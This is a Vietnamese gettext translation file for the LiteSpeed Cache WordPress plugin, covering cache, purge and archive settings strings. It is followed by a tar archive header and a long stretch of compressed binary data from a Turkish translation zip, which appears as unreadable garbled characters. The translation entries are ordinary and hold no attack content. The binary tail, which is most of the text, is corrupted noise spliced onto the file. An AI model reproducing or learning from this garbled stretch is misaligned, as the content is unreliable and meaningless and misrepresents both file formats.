msgid "NOTICE:"
msgstr "CHÚ Ý:"

#: tpl/cache/settings-purge.tpl.php:56
msgid "Other checkboxes will be ignored."
msgstr "Các checkbox khác sẽ bị bỏ qua."

#: tpl/cache/settings-purge.tpl.php:55
msgid "Select \"All\" if there are dynamic widgets linked to posts on pages other than the front or home pages."
msgstr "Chọn \"Tất cả\" nếu có widgets động được liên kết đến bài đăng trên các trang khác với trang đầu hoặc trang chủ."

#: src/lang.cls.php:108 tpl/cache/settings_inc.cache_mobile.tpl.php:92
msgid "List of Mobile User Agents"
msgstr "Danh sách Mobile User Agents"

#: src/file.cls.php:168 src/file.cls.php:172
msgid "File %s is not writable."
msgstr "Tệp %s không thể ghi."

#: tpl/page_optm/entry.tpl.php:17 tpl/page_optm/settings_js.tpl.php:17
msgid "JS Settings"
msgstr "Cài đặt JS"

#: src/gui.cls.php:710 tpl/db_optm/entry.tpl.php:13
msgid "Manage"
msgstr "Quản lý"

#: src/lang.cls.php:93
msgid "Default Front Page TTL"
msgstr "TTL mặc định trang chủ"

#: src/purge.cls.php:684
msgid "Notified LiteSpeed Web Server to purge the front page."
msgstr "Máy chủ của LiteSpeed đã được thông báo để xóa bộ nhớ đệm trang chủ."

#: tpl/toolbox/purge.tpl.php:17
msgid "Purge Front Page"
msgstr "Xóa bộ nhớ đệm trang chủ"

#: tpl/page_optm/settings_localization.tpl.php:137
#: tpl/toolbox/beta_test.tpl.php:50
msgid "Example"
msgstr "Ví dụ"

#: tpl/cache/settings-excludes.tpl.php:99
msgid "All tags are cached by default."
msgstr "Tất cả các thẻ được cache theo mặc định."

#: tpl/cache/settings-excludes.tpl.php:66
msgid "All categories are cached by default."
msgstr "Tất cả các danh mục được lưu vào bộ nhớ cache mặc định."

#. translators: %s: dollar symbol
#: src/admin-display.cls.php:1540
msgid "To do an exact match, add %s to the end of the URL."
msgstr "Để thực hiện kết hợp chính xác, hãy thêm %s vào cuối URL."

#: src/admin-display.cls.php:1533
msgid "The URLs will be compared to the REQUEST_URI server variable."
msgstr "Các URL sẽ được so sánh với biến máy chủ REQUEST_URI."

#: tpl/cache/settings-purge.tpl.php:57
msgid "Select only the archive types that are currently used, the others can be left unchecked."
msgstr "Chọn chỉ các loại lưu trữ đang được sử dụng, những loại khác có thể không được đánh dấu."

#: tpl/toolbox/report.tpl.php:122
msgid "Notes"
msgstr "Ghi chú:"

#: tpl/cache/settings-cache.tpl.php:28
msgid "Use Network Admin Setting"
msgstr "Sử dụng cài đặt quản trị mạng"

#: tpl/esi_widget_edit.php:54
msgid "Disable"
msgstr "Vô hiệu hóa"

#: tpl/cache/network_settings-cache.tpl.php:28
msgid "Enabling LiteSpeed Cache for WordPress here enables the cache for the network."
msgstr "Bật LiteSpeed Cache cho WordPress ở đây cho phép bộ nhớ cache cho mạng."

#: tpl/cache/settings_inc.object.tpl.php:16
msgid "Disabled"
msgstr "Đã vô hiệu hoá"

#: tpl/cache/settings_inc.object.tpl.php:15
msgid "Enabled"
msgstr "Đã kích hoạt"

#: src/lang.cls.php:136
msgid "Do Not Cache Roles"
msgstr "Không Cache Roles"

#. Author URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com"
msgstr "https://www.litespeedtech.com"

#. Author of the plugin
#: litespeed-cache.php
msgid "LiteSpeed Technologies"
msgstr "LiteSpeed Technologies"

#. Plugin Name of the plugin
#: litespeed-cache.php tpl/banner/new_version.php:57
#: tpl/banner/new_version_dev.tpl.php:21 tpl/cache/more_settings_tip.tpl.php:28
#: tpl/esi_widget_edit.php:41 tpl/inc/admin_footer.php:17
msgid "LiteSpeed Cache"
msgstr "LiteSpeed Cache"

#: src/lang.cls.php:259
msgid "Debug Level"
msgstr "Cấp độ debug"

#: tpl/general/settings.tpl.php:72 tpl/general/settings.tpl.php:79
#: tpl/general/settings.tpl.php:86 tpl/general/settings.tpl.php:103
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "Notice"
msgstr "Chú ý"

#: tpl/cache/settings-purge.tpl.php:31
msgid "Term archive (include category, tag, and tax)"
msgstr "Lưu trữ mục phân loại (bao gồm chuyên mục, thẻ và thuế)"

#: tpl/cache/settings-purge.tpl.php:30
msgid "Daily archive"
msgstr "Lưu trữ hàng ngày"

#: tpl/cache/settings-purge.tpl.php:29
msgid "Monthly archive"
msgstr "Lưu trữ hàng tháng"

#: tpl/cache/settings-purge.tpl.php:28
msgid "Yearly archive"
msgstr "Lưu trữ hàng năm"

#: tpl/cache/settings-purge.tpl.php:27
msgid "Post type archive"
msgstr "Lưu trữ loại bài đăng"

#: tpl/cache/settings-purge.tpl.php:26
msgid "Author archive"
msgstr "Tác giả Lưu Trữ"

#: tpl/cache/settings-purge.tpl.php:23
msgid "Home page"
msgstr "Trang chủ"

#: tpl/cache/settings-purge.tpl.php:22
msgid "Front page"
msgstr "Trang chủ"

#: tpl/cache/settings-purge.tpl.php:21
msgid "All pages"
msgstr "Tất cả các trang"

#: tpl/cache/settings-purge.tpl.php:73
msgid "Select which pages will be automatically purged when posts are published/updated."
msgstr "Chọn những trang nào sẽ được tự động xóa khi bài đăng được xuất bản/cập nhật."

#: tpl/cache/settings-purge.tpl.php:50
msgid "Auto Purge Rules For Publish/Update"
msgstr "Tự động xóa cache khi đăng/cập nhật bài"

#: src/lang.cls.php:91
msgid "Default Public Cache TTL"
msgstr "Thời gian cache mặc định cho toàn bộ các trang"

#: src/admin-display.cls.php:1327 tpl/cache/settings_inc.object.tpl.php:162
#: tpl/crawler/settings.tpl.php:43 tpl/esi_widget_edit.php:78
msgid "seconds"
msgstr "giây"

#: src/lang.cls.php:258
msgid "Admin IPs"
msgstr "Địa chỉ IP của Admin"

#: src/admin-display.cls.php:253
msgid "General"
msgstr "Cài đặt chung"

#: tpl/cache/entry.tpl.php:100
msgid "LiteSpeed Cache Settings"
msgstr "Cài đặt LiteSpeed Cache"

#: src/purge.cls.php:235
msgid "Notified LiteSpeed Web Server to purge all LSCache entries."
msgstr "Máy chủ web của LiteSpeed đã được thông báo để xóa sạch tất cả các bộ nhớ cache."

#: src/gui.cls.php:554 src/gui.cls.php:562 src/gui.cls.php:570
#: src/gui.cls.php:579 src/gui.cls.php:589 src/gui.cls.php:599
#: src/gui.cls.php:609 src/gui.cls.php:619 src/gui.cls.php:628
#: src/gui.cls.php:638 src/gui.cls.php:648 src/gui.cls.php:736
#: src/gui.cls.php:744 src/gui.cls.php:752 src/gui.cls.php:761
#: src/gui.cls.php:771 src/gui.cls.php:781 src/gui.cls.php:791
#: src/gui.cls.php:801 src/gui.cls.php:810 src/gui.cls.php:820
#: src/gui.cls.php:830 tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:40 tpl/toolbox/purge.tpl.php:47
#: tpl/toolbox/purge.tpl.php:55 tpl/toolbox/purge.tpl.php:64
#: tpl/toolbox/purge.tpl.php:73 tpl/toolbox/purge.tpl.php:82
#: tpl/toolbox/purge.tpl.php:91 tpl/toolbox/purge.tpl.php:100
#: tpl/toolbox/purge.tpl.php:109 tpl/toolbox/purge.tpl.php:117
msgid "Purge All"
msgstr "Xóa tất cả"

#: src/admin-display.cls.php:538 src/gui.cls.php:718
#: tpl/crawler/entry.tpl.php:17
msgid "Settings"
msgstr "Cài đặt - Bộ nhớ đệm"

#: tpl/banner/score.php:122
msgid "Support forum"
msgstr "Diễn đàn hỗ trợ"litespeed-wp-plugin/7.5.0.1/translations/.ls_translation_check_en_GB000064400000000000151031165260021203 0ustar00litespeed-wp-plugin/7.5.0.1/translations/tr_TR.zip000064400000414066151031165260015562 0ustar00PKє+[MH�mt�K�litespeed-cache-tr_TR.poUT	*�h*�hux�����[�r�ƒ�+��Ȏ!�d�):�E=ljD���u�D8����
������\jkm�Ҏ��ɬPh6Ŗ=Y��GV�ɓ|)ά4E*K����IZM�)ĺ8֥:�)�CM���r�*�5�VE)�J�,�7BqV�D�ϾgS]���s�뢴zT��2����H�̔Hu�L��,�ڟ�w&�DN�೬��X|���	�/N^��Rs]`_���nw�7��7��惃!���&��o��_<q����������)�)���(՛rc�Jm��T�B�߽>{����:Vv��Dy���@�t��`�V��Or�����w�o���;#�[��\������x���UE��3�l���L*��nt��KE���ɟ�+��ٗu�n�0�����6���)~��Y:���l:;�ڼ�H�SeD���xN<;{q,�\��$5���E�gDD'.K��2�
)����Xca3Y�ʚAw�<Jr�������zoL2R���#mE�
e�	��2��[��Ri��	Yfr�m&�}�Y��\�H��f�4{9�%�B��2b�����<=�xzt�[1+�����S�(716����Ҫ�*Hw
�g��m�j޵�T��v�kO$o��Vu�2-�d7F�JD8O
c� *Y��/�0�D"ciE)�;��U��0������O�f�C`U�J!��w+K�\!/��F)tl��;���F@|.?*5��L�,8���2�f@ުS̳��n0�~���7�н{�LY��n}[�f�_�JL%d�3hp!Υ�C��)1�0X<�q���M1�8ɪ̡�:�0�l��R�	<�.NU�>��KS�4����a^��Jt��J��T�8���@Lla#b.�@�ts%��-^��Rfr3�,�A�3W�.ukAøwL���ș*E�ب��5�C��@R�d6��L.��g��P�(�qp�gW�3!my�.�Ǥ{.!�)�hi}%��Wx�Bv���l�?��_`�n�S9ճz
���|�ƗŔ�倕v��������\�!��ç�)�����)_�yT���qbKng'��G봻V톛�}/nQEFC{��v�m�]~�$װ�N�a�l⁹�2i��:1K����	 s���m��6� ��9~��<�*����"l7��l[�p[֤ܵpob�lt�~H�\.	ѡ�V]�i�,`�Ud8#
P*�dn���p�Y��4���	�"c�~�՝�^+�2c�d	L
򦅨fb\����%�=�9�FL�\�.�=��{}�-���z��edRB��=��W����^�����Tۘ%�q���]-�J�H�����(X��t�?W�N	�YŧI��k��Ȫ�,�ͩ$���O�Kp�`E5���J~Q������	{q��'*h���=�j�a��-��I��B�@n���^_�ʽCOA,�4#+F=Gѣxʐ�	U+�!���_��&P�D�(�Qzr�ȕ{��՞�X���֧���D�XN�/�į�Y�C�!yh��L���k�*:��Mʚ<�#B�5�Ѹ�� D�8�^��|�~;DeӢ
��5��?��C+G�/�/F�ۘ��I<��SљU7&]'[y��J��m�e|x#&�~����)[�����=A��AJ�H��������Q�J������4���^
�t��V�T� X�w��^�����2���y���1_L�OATA���
[(
�
+hL��c�F���yQKG��;Bt�d��cws��ڔ�5�G��������m%��ձ8U�F�nz�C�䭧���/��(���q�)�)����l�&Ei^�ݠ;v�C���JT
X@Pdq0�$W����<JR'e��*�4��(8��2Y3t���q��&n����<9�Oo���o{���)�0rZz�t�����ô�w@5�餏y���4G����@<�S)�.ƞN�#X$X�Hx�����i��.�7;C��Ρ�V�!�D�ݴ!Mc8�q|�s�V7T���c,���V$`SEUQ9:Μa�YL�m�1}LV4�W�˱ûH���&5n�y�,mmu���'_ޭ�ÿ&�~�엯�w���N��-)�,j9a���si/�@��&67�g#fں�&�c���Y�q�~�Cھe1� ph����:~n��໛]�,焬����)�z~2��I�����y:v�	1�XŚ��ԝ_)dT�N�o������]v�)��P����NN�_Pj�ު�kL˄��6��
����9-(���d�En,��36��a=��otVe^�8�Ё���I��}�4��Δ��J3��{tT�1�ޒ�&����T���ߛ��2Uv[
��v�;��J�5��Y]����.�v�qgh���÷'�ҍ�]rw{�N����q��G�BTdm���pg�#O���n�;yv>��B[sE@�#m�@�)1%�	0�y���2�`�̎�)\08���r�@<#
k��^u��m�~�FR�VB��x3YNW�����q��\���H��(��{����~�n�jBJ�Lݞ<�,�y�E��aT&�Xg�<���b��IppD$�
��Pb��LB�wq#���� ��
�R
�)U�SN�)UD��>9_�:�v�T��D��EDi���?��i=S�P%�vQ���@������������\�
�j7JւU�f��.A
3Y#?Ó�cuH�t��bA0ǩ� ��0;�۠+^�<0��N���Z��S��=`�p�w����_�2e���.�e�>V@�Xl������~d9�`���g`�Wo�YUV�j�<�����8�n��lN����LAM�Hkp���z)h�n �Y�&p!]�Mu�@G ��`��gY�y��4c��t�)��嬜�'?6�4Tc�|�L}0�)��ɶ`��'��1�3�nr�
,qZ>J��Ե�|�1�x���ۺp��"��w�/�FQJ�.n���^�m"�A���-��(�YO�E��驕�����Z?
�HFI5kb��Tq��!o����R���L7�@<45U����Qe#ش�r
�@*g(>��t�}��*����y@��	�K�V��"��&���䘓3F�6(YO�*+�FXthCd.�W7�x���!����yOppB�&��P�Aq�pe�dB�<v��2��8��:����*��z�G�>E���en��E�e�ҸZI5�:���h��yD��*X�V9�<��8�$|d�Ek�o�(�r����Zp�?
�'Xi��Q��@<ညԖ��җ/�,���$�WYA��{�Iu��֯2�n��*���<`��&���*mo�jPSް���/|�N�5�u�A�n"�4�9Y��/j*�Z5�
*W
<���F6���9>X\
*TnT;RL�=��~��_Me�P�g�L��2�PUrd\
p�Zr\ާ�~�2烖>�v3�u��T�N�u�=�:�����XO�Ç�p�x�ȍe�Q2g�ʵ�V	K6�8���7���H����o��A��T^P���SLe�P^PՔ���<'�չ�#�!�,�Ů2WjT��f ^aT<l�Οq��)4�	�ᒋF�~�񴣯:є4��-x���;���ۏl�e���&��QPE��^�d�a��wzv�����y�Vib�v��`ъX-5͸��8<=]�\9�?��8�.�L'(��@+�w�4%�4��+
uC��$1�"����K��қuAĿ��B5�W��t��10r:O���S0n�s�P�*����1�I�ةwn�r�Nf+kWn�_���kc���΋�u��R�x5]����4�7�=���9��<�bX)��U��b���{ޕ���¼?�<�~ֽ7+��ֲ���:��羄�I��k�#^?�KO��U���^�K�՟����:��|���%쵐���n���dB���ר�-�G��2�8���F�XNu�ʬ-p9���ع�(�,��LO��8�-H/��Oj��7Ɯ�9)�Ũ�� �e$��\�z",��(E�/7�d��R{��˰��=Bo�Ox���`W��_?�l�ʹ�\��-���.X�w1D���1�q��2؂�Dz]�s?�{l��Xv�p����AY��l	��rk��?~(�oQ߱ED葻p�/�� f��90��
����E��p�<"z���\�I%z�G�:$NW#�[�~$Mx(YS�C�K�w�N�*����TM<
�(t�S�uF�������ZW{xX���E�x��p����]�B�J7�h�qvw��~��SR&.:��8�Jk�fJ�/�mY�<H��*0G��Z��ߎ;Ooc(Wo��˪E���]��qN��2!�`˕�ƩG�݂���E�W�?\B���w@'A�?C(膣�Z\�*� ˵;p�8��[���%AV�Ehe���]�9��*(��0���@W�W�	�j����Ǿ���in'�x�/�O�y�^a;��2cE���A����7
 ��—W�uo1�3�r�B$e
�^RʆG�ń��*��O�&/�6^���~@˙�R���fׯ��6]�O�b��zohF���p�&�(X�����L����BG��vF��_����7�)�~�\�>h�7K�kDgT�P��ؾ�ú4?w�wz���h��؋�}4�"I�g�3̮�X`�lf��TɧG�M��dA�1Rm��0k�G�2��;:��yר�p�۸�DF�d��HƱ�B�$jP'�@Qs�ÿNY8[���׋|D �1rPا�]{�*#n-W�� ��0R��/iذ�7����Ʌ#����
���!u�Ǐ%��w�?������qi>����o���?tγ/���Q	*l�:�:�L���>+��Ę!e��j�m:��)�0쾽@L�!z�Ip��}$�RI��*j,��\T����J'U">EŶZ��)Ղ:�υ�&۷%�}z��;�I��Row��غ4Mݒ�Z��Z��צ�;\��h��?�ڕr��q�ל*r���/����VPz�^�=����ĵ$�}Q�k"ߒ���Y-�
ּ�S�\/a�S�<�Y
����x��gA���2F��[ʃ.�aЃ�?��������;���3�G��X�$��|�c�>���-%5/�� I{�z���I�&&�~#�'�ε:W��|��V瓥�c���Jc[�x�h�&`���f�<rk�'�E���
�Q�\g�����b5�&A�q?8P�=��-�����oG�:�:��o�u��rm�=�v�gW�MJ�~�-�-'�k�8��WV���l��@��	�%(�U�r����Y*�H�ӵ�\����o�:�rN��X�,!t�F��z�
*?�&}
(l���=�x��ְ��ݗ'��g�_�I����ÒL/��lʑ7���m2�_�W!�?��?���~�}+�n�7�PdM�P�Uʌ���\���4��k���:e��Я�R)�m"���U��Y���.�jA铂k��kCez_И�
���O�~��xRM#�k�k�jİ�5Pc刢l�8O㵮,;9f���ˣ��e'�s�4��s
��8��4���:�m����K[���i�Qe�.6����3�eU~��zPS���:m�rM�$�*��I}�CT��/Y�BdlӞ��6��)�B��".�1
��U��6��ԇ�����vQ*㺞hz=���fy�?��C�[�TE��V�;7`M/���7in#ɲF�JdY�%�Q��i���R������me&A2@
P	�zW��/���{���Vmj�;)�H����^�{xP����"�����f;@��~���K��ǫO?!���#��r�Z��V��T?Oz�Q�#��iv���=?��0�5a��wex}�l���q!�{�9���ot����R�T�v�ʉ^��0�^��>v�Yj�((�k6��\��=��=�YrJOA�ԕ)��jSx{���=b�ã�>�[����R�8$eՉ��k�qRǏ2^�/>�P��D
[��bm��(�������-�x$�5�̀�-�Ω.@
0^W�*jB9eW�H��\���窫_@���!Tu����F����]�\c�-?���g�x��^����%@w�Bmin'l���8�b��19M��PM��vO���6T 45�W"���E(��e�A�)������1�+��VCۻ�۴w��T�MC�w�z�ڈn�t��tW ���m�l���JOG�r兄.�$�i���Ǟ��A�o��KcJ�&���!������KmD:�HK5r�-���I����#Т�1lVۣ[�,��OjN�T	L8has�!%{gy�l\=�?i6[�
k^.9N�<}���b�o)oD��� Wk�~���/�O8����!߽�dݼȹܕE�:���񬖰�x�ڲ3Q|��\ ǹ�M͎��K��5�-u/�ֶ���J��ti(A^�DE��'����?��l�O8?%P�[ȡ�\L�u�����SW����0*����r�/���1Zr
��;_���*���=�Pn=��>����?�_O��wWf���U@�w �F	r5~�� �AJ���E��O|õ�d��ԇ
C1��&�T��E�� 0V�'�(W�7H��B]X�P���
TV4 $ �Y#N��� iSF>u�`�w�sk.-�Er8�٘'��XC>��a��uP%_��㡎�<��w��?�!�S�^%�OF�Y����M;lY.]����M���O��N6�6�}$,<��i�1�^05��+����B�n	s���+L�d���<@JSstX�r�Im39���׆@����&�?+�]���w��9X��߼{��6��%64�������l�LՂ�\C��i��ɕ:������2C��`1"F6�s᯦��(�7dw�:B��aSY�~-�<^#.3�|�8�_��%xq�%�H�^�'C�u�R�r��Ƹ���e8p[�9��
;�
w!�z.�46k4P0�f�0W�e�U%��:E�p�2?FdW�A
���ɴ�p|�����J/Ez?#�3B���k ,���99�����WFq�q1��
RtH���	G��!���\�Cs$9��#@'�A�/�����Z-�A�3a=�Z�dj��S�N0˓�G�e�~>�@�{��%�s�[���~��ch�����{����%�6D`��hj�4�z�+ͩ���4Ʀ
�ź�ɖP��Qy&'td)��W�jk�/����I�i��K ~}�t4��K�*����|S��9ٲ�iA	�s,�;=8��%��6	},�V<���5��U�!8��n��\��x��zD�O��
�P�>a�t"�R88g��bf\�����Zs�
c&��*���>�H	���0fcπ�6��*si|�ˢw~&J M��0+��z�<��{��U�U���e�~)/W
#k�����zU���ɒW$ކ����(eo�yk��_k�,��$�	�ĝ:��n�o
^抌��:�2�;��hH��C��U��Nr"��zt�bة��E��z5D����i��4.W��wi�]9�fc`
J�*�P���">d3F����c��}�QM�7�)������t@I�ӈ�O.���	Qڌ���X��DM�(n��ďJ9�8��h��#���-6j�/�=3k�=+?�-9c��Zc���	y�[
 uX������{冬L�P�n�q��1.;T�<����j"8��̦�y&�^��I7pY��(h�@D�/ᙒ��<�:L��k��a�hc;9�2Y":O�~��Κǿ�x��>���i�)�@�k��CC� ��i�-�l�
r�RY���.W�o�Tځ��<P����ՙ	��c�y����l�!6�+p#3.}�dJ��:��Z;z랼|���L�V�^�Be��{>׀�� Y����kbϾyw�&b]t8��(桾.�f<�yE,��`Ӂ�{�9*c��8�3�&F���M��U�#}���OC�n�z��sQ;��j�>M@M�u�����PdN�6��ΆQ!�|�O�D�~���c�:|��+�[�M9�ُ�����G�W���#�ڏ�0P��"���H��JV��w�0�6W�_2�E>z�-����$$��n�I�@���g�
śTVJP��U�n�Mj�	e�y<8�r�.jq�����T�#�����d�&��?�S�
���
��ʸXç�n�%
���I�[2�/X��ɥw���щSN�s��L\D�f�z܂�qF�Vm@^u�5���B�L5�2���	3��5�d.�T3� 
$�ZM@�_(kvJ\o����g��~��:�Ë���>�J�l�ӌ��)"�w@O����bUGI�5K��r�.i�ٳO�u��1s|(�fPNoM�1�
����v6��x�K[��n8�6�P��+Ny�ܙ2�
pj%�O�*R�̤OX�`lD�D/Ƹ��D'���E� �dӹ��6B���)/6�`d��F���_�=Kt�
�$.d
ٓgW�v�������,�M0�sQ">c�]8ޗ����Kݺζ<�x�*!Ş��6����x�)��%N�5�}����c
�cU�mH�^6��|T,W�ؽ;�ڂ���*�D�6\�`,*hAG"1p…�MY��>+��^*&.�-�!j:
���ɧ�!�� ��Xe�8�=�œm�ޖ	�i���?���r=�t�WtjT��8��
yɹ�[ ��� XM�"c����0We{�XÐ��I=&�M~�q��c���&�Sً��w6���Q���e�F�n
|,6�[|�WN�'�m.)i��HS��dQ�H}U�[S�-U��1�j��T�5�g�W.c���Ѭ�\�=�GD�Ҟ�e����\O��?�`����8���zCP�`�ܺ�Z9�[��Q_Ԙ���ϝ��fTd�y!K;so���{�>5))�$]���t�3�䪶YjDI7���\���vj�O�r�n%7��yo�^��0��v�\S@0�8�����\����@/��0����9k�h9}V008���~�1�ģ(�O�6S�Y4牚2S�,VW+��J�RP�h�U�₳��h���_^M�@IP&h���cO�fy��(�Ӽ����8��;qk�b"䐫��`L.��ܼ8tF�K�2Fax�ny\����&-���z���u�I�aѺӒ_*AH����j���آ@�1�����k$����4�*}��ϊeq������%͆�[�����9��S�]�3�Mh��(���tb��/R��m�"�����6x\�pP�Qh�o0y���(���sN��0�z�8��f��3��%ys� ��q��Y�&=P���h�Ie�3i��jr)��$q�h�΅�I�3��6��aƏ�w��y�l�����<��>���Q�j�����tD1+�����n_k51/�C�ɟȱӲ_��轆�j�47�DN���?lw�$� ���Pl���{gP�ZQ6Q륌�i�m��O��6O���l�+,m|�UiE�g��:!�9������sa���hR�,⢜��W�.��[�|�nֈ�s�t�4��7�,����S���$�AŁ\�x�%����#O7�N+L�f+�O��{�7�p��^F������[dWʎ���2�꧗UV���׍lNJ8�7�ZUB���Z�54���T�������)�g���
��B{�
R�a$��ܥpL��h'.dsB��>G�l"g萗��R5�Ty�I�Z���w�B��ڼ�5������T�7�:.k�(v�ڰ�=vdX{�֨kw߈�&�B���Z��{!�k��´j����!�aK,ݕ��c;���Hd*b�Y���+�O��t]���V/�H=ƤR�D��7!]��Bm�ւ:gs(h��]|Ԛ㲀�h�oK\�}+r.��+j��"³��YC!G���m������)�F�{ A�9gqX<���
=��o{$1AG}Z���!�j����n��~����X<��Q�B���ՋeȈY1�����*:�`��ث��>��{j'S|4Z���������1��(��\-�K�N���&����j��A@�C�2�5�kAb5((@z���V:�>p�d@°����bu7��q�ӆ��u9��o�[�\�\�ڀYbV��B�
QU	�#m�e��BN��?��:��ˆ��J#��V(�x�0.�Ѩ�y��TZ.�6㖝/�6w(6Y�$��Z�{�1���7�q��0Tf �z��Q��$�]�<𙑊��V.���_�r�$�;��N���k���n���j���%͇]"�;�S8vq���"���Mb�#�	u0�Y
q�? �*�Y8�)P&�a�&ޮ�z^�℉e$�Zj�ǗVhn޹u����[��P2�vu��� |�N$vD�Mɕ���w�p�B��s�v�������9�\	Cs,Kw�ᛁ�� �1MS�p�j>�ݟ��R݆ENw�q�ۉ�'z�}���F^���
����U�y;�7�O������)%+����F�[���VM��H
2�/��E�yQM�*���ZR��&c���e���X5�?��+\�#.��ěC��T|dS��Z��
1��h����x1-�j]��l�<���DO"���Ԙ��n�����I�b�^��p�=k���i��
͌�EV�x�rN�%����n��}��Y�z�ȁ4�vm"7��(A9`g9��1k�����@����L�y*�M^��S��J��@Bق�G@�X'g����OҦ�%��C��$��äUU�rMr�6�we�T�i��,t��¹o�
B��(��oH�����J��V��/c@n��5i�
�H�&-HnLrkJ'���/�:o��!%����?�\;?��K�%��"�l3\x���q�e8�Ґ����:�Y��M��+z�8��o֪x"�
�ku��A���?�RY`f��3���j;��=�g�AX%��t��h���R�y��M�j�5nǀ�
�e�@�{��/�;q`J��s��/��e9������ċ6:
$CM�7*N���M�5%Y���/}�]Ce�x�rک9��Ԍ�a�4�e��8��N�ɇ
��h���Gyͱ&t��i�c!#,�6
6�8Ž���+�<Cs�.2R�ʋvyQM�2�c�\;�m�L&�S$hL��(�����k��
�D��8tBy>�:nǵ�v�P�1<���q�)�B��
z��Hi���9	;=�I�
�S��8[�-e�tGrƸ�1}�E
�)��L�#-Wj�#7��G�X��/ܔ�W�۠���4�ƸX`�]���O�^,ұւռ(��2�F������Oo-�O�<��a5��F���Z�6�"��0qN)��"�;�-5�
��YA�դ�=�	E��\
�y�_��"�}�76�㈞ޔ��������Uk����R�]fץ�;��4����'�x��6\�CA�I���R����V�Pd�{QZ�l�g��fG�<4x���\�_x<��~MǞx|���[+�d�ƙ��]�i-
j�����c��]��=Fv?B������YV}�	�X����p���W�߯��;8l�?�.<l�U�!�f��j���`���HoJI��'zRyZA}9�lxG�
�GK�(�J�L��vf}�j2ɇq��S�=�t�ֹ6��	��9{�xMV9`�Jµr�v�ぐ��ˀz��"/��BM�K�1�VY����}�%�l���
3�j!X�c��2]��\��k��a	W�1P�S��.��T���,��r�R�tR{4
H���A�<�!��@$#w�&T�	���2I#d-�ՃG�k��11�"���G���E�v7�;ްF�q��^��mJ���]���c�!�ݪ�� �h�q��˪S���W�"O`�@�z;L�=VwcW_ӥ���t�j/��/|��s�6��e�D'=э���7��T2{˷�{|
�p�Q�����F�&D4�#�9�$�����y��svޓ�C,[���U�DT�)� �#m�s	��١4XJLo����ϫ)SQ�(���,�e��b.(P����2P���@� g��K�����r�B��q�}x�)&xL�}���H��F��dF�ȳ���1煯\ߕn�{�M4‹�Q!�V�uvKu���g';^'��V{`��nw��sw�e1��g�S�Cwʖ��nx�	>ɝ�tp�S&��t��!����,m��>�j���f�.�I�/A��f��#C�/i��5���������ġ�pv	5ҟkj��v���rUf��L�·�
�iD5�����P����'+�M�\S�TZ��*�i�˓�b;g&�c?���x�)
�ͬ
���чr�Z)�R\ZU�Uc���o�Ǎ��.�!��,��tƏ���'�R_����0̭qLכD�W�#nW� ,S[S?ΡG��D=2�u��h�
ߔ�h�ϗ�e*
�7���[��`�QĞ4Q�.�k�G#����x\u��	k��R��8��y#�L�]0���~;c�4�P�ˡ0�e�d�4]��lEn����ږ��$�8��VEZ���.�{ֵőt���'�̓��j�W)KǞ>�ǿܩ����4܁�Ev��JV��|Ŗe+%���	��0�|�{\�<v�F=��8� ����>�ω	�����(�l�J����2]�\ȧ)|	��/���@�e��}�|�����d�,���L߾�6�MKs��f&�e-`Аf㲳��a��}�<�HL8T����r��5�>�'y���Y���:D�;o[~��w�Q�z�G��	�u���n^L�J�<Q��ǝu�>F�'�?�lJA��t݉�;<<j�(tc��0ۮ�n�n�}s�
F�m��{?\3R\��(�2Sw-B�R`<�W	��W6��*Z�����t�/,Es-��;\�j�$�#Y���e�Z�"�lу�z��;�J�,�]�>ė��Zo���u)�8��Y͆E�O��U!F�D{�ҳ,gs�A���r�����/_
U�\pvK�ӝ�.T��	�ב���@r�T��׌8�,���.p�.�?��*�tV橙���Mr�
��,#�Z-�mW����M�(���`��$��.&��i�Xoa���Tpt��Ȩ�\]!���K��c�<[S� �!}�h��O�5�M�fWF�l
���s�
��@���8`R�鄄�Ԓ�l'Ϙd)+B·-K�#[�o_�)_�lN���>ӢQĮ�U*�
���kO�Rȑ�B$W��Pui�x���9�-�/0m���ƅ.��\��~�Wڵ;8<p���"��\]��C���,�r�
ߨ?�W��^2x��̑�B1YI^m蹆��������l��Z�������a�Ak.�2t�<.D>T�iK*
�B�p?�h�]ӛdD��Cs�)3P�1�}(q��iւ�q�ߛbuv�u-�t�dQ�e��L!y���> �Zz&��?����s��e��9 �0 �\&��|4��:���K�d�v��q��s�-T�b�B�k�
�u;�m�G^l	�cb_ɀF����J\
־�*KuH:���n�g�hE��~��}a\��)U� �Y��$̍�}W:�&#[��,��@���R�n�����U����58��`�M��I{�Q@�,�Чfi6��x���K�g�S��67����D.4!�M�Ay��vg$�=/�m��v\h�K�i�;^��+�L,řa.����){�E���Koߴ�2f@/��yg��xa���0�̱e�7!*?#��PE�
�i���������`����<"�
�׮��j5����cI5"�8�K$�\^�<x..]B���
ә�!0Ӭw�5�.�OT�R�x.�4x��IVSn��`.�}!L)]����Ҳ��a���.�宀��q����%�D8Z@����cS���jn���-��Rg��!����ؼO�zyC4X�����T+Z���q^�8Ȗ�ԁ��_~�ր�}�)uҠ�8���s_/	ja���`7���ri�ej�L`g\�^|ߠb
��eǰ�@�9����!�=�d�:�nZ^‘�&�C���hSZ��e����ZMAf�B�>��~!�lD{w�\������%$�T#�/��ھ��D����O���/h�[~dJ�+e*����G��%ʢ������{�*�Әe=�k4-?�^����
��>o�A���`;䦀<o�R����	��F��^�n�:��b}�?�6��l�$m�
��W����q���ƻ����|�US��D�ժ�:��I��K2J�͈��5	����זF��
77���w��Z�Nw�뿞6�%7��Z�tc9�D���fa4��~Ba��l�t�8%�gᙺ�X����>ϐ,�&����v� �R>{�Ϋy�G��^ڡ7����H�����{<��G�D�}wU.��؟rȴ�z��z�z��H'5a>h����u����z��[�'�3X�'��UƯt?����ǔ��'�ą@"�9��a��ƌE5�b���Yy_u���p�m���cX���+q��`R�4~���ڸ$�!�uOٮ���S�Yta��y���5�B&J1�f�f�B����V[��G���]!AJA"5��X�R
